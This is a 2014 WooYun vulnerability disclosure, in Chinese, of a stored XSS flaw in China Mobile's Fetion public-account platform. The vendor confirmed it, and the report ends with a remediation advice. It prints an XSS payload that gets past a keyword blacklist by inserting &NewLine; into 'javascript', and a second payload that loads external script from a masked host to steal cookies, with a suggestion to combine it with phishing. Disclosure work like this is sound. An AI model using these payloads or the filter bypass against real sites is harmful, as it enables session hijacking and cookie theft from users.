当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-079692

漏洞标题:中国移动飞信公众平台存储型XSS漏洞(指谁打谁)

相关厂商:飞信

漏洞作者: l0u1s

提交时间:2014-10-17 10:34

修复时间:2014-12-01 10:36

公开时间:2014-12-01 10:36

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:16

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-17: 细节已通知厂商并且等待厂商处理中
2014-10-17: 厂商已经确认,细节仅向厂商公开
2014-10-27: 细节向核心白帽子及相关领域专家公开
2014-11-06: 细节向普通白帽子公开
2014-11-16: 细节向实习白帽子公开
2014-12-01: 细节向公众公开

简要描述:

某运营商的某公众平台存在存储型XSS漏洞,代码过滤不完整,可以指谁打谁,配合钓鱼,可以做很多事情呢。

详细说明:

其实某运营商就是移动,公众平台就是飞信公众平台。
每个飞信用户都可以申请一个公众帐号,跟微信公众平台一样可以给关注者发送信息,关注者也可以 跟公众帐号发信息。
利用过程:
在飞信客户端,用个人帐号A给公众帐号B发消息:

<a href="javasc&NewLine;ript:alert(/xss/)" >点击查看详情</a>


fx1.png


(<script>alert(/xss/)是个人帐号A的昵称,eval(name)是公众帐号B的昵称,这只是之前为了测试用的,在这里没有意义)
然后,进入公众飞信平台 http://gz.feixin.10086.cn/ ,使用公众帐号B登录后,打开URL:
http://gz.feixin.10086.cn/Platform/Index/message
在我的消息页面,鼠标点击“点击查看详情”时会出现弹窗,

fx2.png


代码显示是这样的:

fx3.png


漏洞证明:

至于利用代码为什么为 javasc&NewLine;ript:alert(/xss/),是因为该系统已经对代码进行了过滤,在<script>和javascript等字符串中间会加上<x>,即变成<scr<x>ipt>和java<x>script,但是这里把javascript中间插入换行符(即&NewLine;或者&#09;等等)就可以绕过了。
上面只是个漏洞证明,经过测试,没有对输入数据进行长度限制,也可以通过导入外部js,盗取cookie等,

<a href="javasc&NewLine;ript:jQuery.getScript('//xss.**/****')" >点击查看详情</a>


fx4.png


除了盗取Cookie之外还可能造成其他危害,不再详述。
不过这里需要通过点击才能触发,需要一定的触发条件,需配合钓鱼。
能力有限,暂时未能写出能够直接触发的代码,求大牛指导。

修复方案:

虽然已经对输入数据进行一定的处理,但是建议不要使用黑名单过滤,最好直接进行html编码等方式。

版权声明:转载请注明来源 l0u1s@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-10-17 11:28

厂商回复:

多谢关注飞信安全,目前已经安排人员进行修复

最新状态:

暂无